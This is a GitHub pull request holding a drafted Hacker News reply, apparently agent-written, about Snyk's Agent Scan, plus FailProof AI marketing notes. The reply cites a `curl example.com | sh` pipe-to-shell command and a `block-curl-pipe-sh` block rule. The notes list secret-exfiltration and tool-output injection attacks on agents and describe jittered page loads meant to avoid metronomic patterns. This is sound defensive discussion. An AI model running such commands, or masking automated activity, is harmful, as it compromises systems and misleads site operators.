-
Notifications
You must be signed in to change notification settings - Fork 0
[claude-hackernews] Reply draft: Snyk agent-scan Show HN, static-catalog vs runtime-call seam (id=47999709) #42
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
NiveditJain
wants to merge
1
commit into
main
Choose a base branch
from
hn-snyk-agent-scan-static-vs-runtime-47999709
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,50 @@ | ||
| **Status:** draft (pending manual post) | ||
|
|
||
| **HN:** https://news.ycombinator.com/item?id=47999709 | ||
|
|
||
| **Story:** Show HN: Security Scanner for Agent Skills and MCP (github.com/snyk/agent-scan). Posted by `lirantal` (Snyk DevRel, listed contributor on the repo), ~5 hours old at draft time, 4 points, 0 comments. Reply form live. Repo at 2.3k stars, MIT-pyproject is Apache-2.0. Auto-discovers MCP/skill installs across Claude Code, Cursor, Windsurf, Gemini CLI, Amp, Amazon Q, etc. | ||
|
|
||
| **OP body (verbatim):** | ||
|
|
||
| > (no submission text - link-only Show HN to the snyk/agent-scan repo) | ||
|
|
||
| This is a top-level reply on the Show HN (no parent comment yet beyond the OP itself). | ||
|
|
||
| **README excerpt for context (relevant design points):** | ||
|
|
||
| > Agent Scan helps you keep an inventory of all your installed agent components (harnesses, MCP servers, and skills) and scans them for common threats like prompt injections, sensitive data handling, or malware payloads hidden in natural language. By default it focuses on MCP servers; add `--skills` to autodiscover and scan agent skills. | ||
| > | ||
| > When Agent Scan scans an MCP configuration file, it starts the stdio MCP servers by executing the commands and arguments specified in the config. This is necessary to retrieve tool descriptions and perform security analysis. | ||
| > | ||
| > By default, Agent Scan requires explicit user consent (y/n) before starting each stdio MCP server during interactive runs. | ||
|
|
||
| **My reply:** | ||
|
|
||
| ``` | ||
| (disclosure: I work on FailProof AI: https://github.com/exospherehost/failproofai) | ||
|
|
||
| The consent-before-execute flow is a nice trade-off given that you have to boot a stdio MCP to introspect it. One gap a static catalog scan still leaves open: a tool whose description and config look clean can be invoked with a destructive argument at call time. Classic case is a shell tool the agent uses for routine ops that ends up running `curl example.com | sh` because the model laundered the command through it. The entry says "shell"; the arguments are what bite you. | ||
|
|
||
| A complementary runtime layer is a PreToolUse hook that pattern-matches the actual `toolInput` per call (e.g. `block-curl-pipe-sh`). Catches the per-call behavior the static catalog can't see, without overlapping the supply-chain risk you've already covered before the MCP ever runs. | ||
| ``` | ||
|
|
||
| **Insight for the FailProof team:** | ||
|
|
||
| - Snyk Agent Scan stakes out the supply-chain / inventory layer for agent components: auto-discovers MCP configs and skill files across Claude Code, Cursor, Windsurf, Gemini CLI, Amp, Amazon Q, etc., then runs static analysis plus an API-side check (with a consent prompt before booting each stdio MCP server). It is a strict complement, not a competitor, to the runtime PreToolUse layer FailProof sits on. The cleanest mental model to push externally is the SAST/DAST split applied to agents: scan-time = "is this MCP server safe to install"; runtime = "is this specific tool call safe to execute right now." A short blog post titled something like "Static MCP scanning vs runtime tool-call policy: where each one catches what" would map cleanly onto the audience reading both repos. | ||
| - Concrete product-integration angle worth raising if `lirantal` engages: a built-in policy `warn-untrusted-mcp-server` (or similar) that flags PreToolUse calls coming from MCP servers absent from a user-maintained allowlist of "scanned-and-approved" servers. Pairs naturally with Agent Scan's output - dump approved server names to a JSON file at scan time, FailProof reads it at runtime. Makes the two products composable, not overlapping. | ||
| - Concrete risk surface that runtime hooks catch but static scans cannot, in priority order: (a) argument-shaped attacks (the call site is fine but `toolInput.command` is destructive), (b) shell laundering via legit shell tools (`curl ... | sh` through a "Bash" tool), (c) tool composition exploits (tool A reads a secret + tool B exfiltrates - each individually benign). The reply leans on (b) because it is the most viscerally obvious to a security audience and easiest to picture without code. | ||
| - `lirantal` is a credible amplifier - he posts a lot of agent-security content publicly under @liran_tal and is a known voice in the JS/Node security space (Helmet, Snyk DevRel). If he engages on this comment, the conversation can grow into a co-marketing thread. Worth tracking if any of his future Snyk-Evo / Agent Scan announcements are good follow-up moments. | ||
| - Repo gives surprisingly broad agent coverage out of the box (the "Supported agents and capabilities" matrix lists 13 agents). FailProof's docs currently lead with Claude Code + Codex + Anthropic Agents SDK; the Agent Scan matrix is a good prior-art reference for what the "supported surfaces" table on befailproof.ai could grow to look like over time. | ||
|
|
||
| **Notes / findings:** | ||
|
|
||
| - Word count on reply body: prose ~123 + disclosure 9 = ~132 total. Comfortably under the 150-word working-shape cap. | ||
| - One disclosure line at top in parens, lowercased "disclosure:" per INSTRUCTIONS.md. Repo URL appears once, in the disclosure line. | ||
| - Exactly one policy name (`block-curl-pipe-sh`) tied directly to the runtime gap I identify in their tool. No custom-policy snippet (snippet OR name, never both, per INSTRUCTIONS.md). | ||
| - ASCII-punctuation audit: hyphens, straight ASCII quotes, slashes, semicolon, backticks. No em-dashes, no en-dashes, no curly quotes, no fancy ellipses, no unicode arrows. | ||
| - Forbidden-pattern audit: no install command, no comma-listed policy names, no `~/.failproofai/` path callout, no version number, no "39 built-in policies", no three-scope-merge talk, no Agent Monitor / `localhost:8020` plug, no marketing-cadence ("the gap we built X to solve" / "exactly what we built X for" / "and ~30 more") phrasing. | ||
| - Cross-thread duplicate guard: read the closest neighbors before writing - PR #35 (Smithery / Bawbel scan, id=47969781) lands on the same static-vs-runtime framing but anchors on tool-output injection (instructions hidden in returned data) with a `block-unknown-egress` snippet. This draft anchors on the *consent-before-execute* design choice (specific to Agent Scan because it boots stdio MCPs) plus the catalog-entry-vs-arguments shell-laundering example, with a different policy name (`block-curl-pipe-sh`). Different concrete failure mode, different policy, different opening sentence. Also checked PRs #28 (agent-desktop), #36 (Git Shield), #37 (Smithy-ai), #38 (bwrap+sshfs) for phrasing overlap - none. | ||
| - Thread-fit gate: passes. Show HN of an adjacent product (security scanner for agents/MCP/skills) where the OP is a Snyk DevRel and the Show HN format itself solicits design discussion. The static-vs-runtime seam is a substantive design point on *their* tool, not a generic pitch. | ||
| - Thread state at draft time: ~5 hours old, 4 points, 0 comments. Reply form live (textarea + add comment submit visible on the item page). Top-level reply slot is open and uncrowded; first substantive reply has a chance to be the one OP sees. | ||
| - Cadence: reads jittered with random 3-12s sleeps between page loads. No metronomic patterns. Total page loads this session well under the 50/hour cap. | ||
| - HN reply form on this thread is open (the item page still shows the textarea + "add comment" submit, age ~5h). No `[dead]`/`[flagged]` markers on the OP. Should still be repliable for several days. | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Clarify the license notation.
The phrase "MIT-pyproject is Apache-2.0" is ambiguous. If there's a license discrepancy between the repo's stated license and the pyproject.toml file, please clarify the notation for internal reference (e.g., "MIT license in README, Apache-2.0 in pyproject.toml" or similar).
🤖 Prompt for AI Agents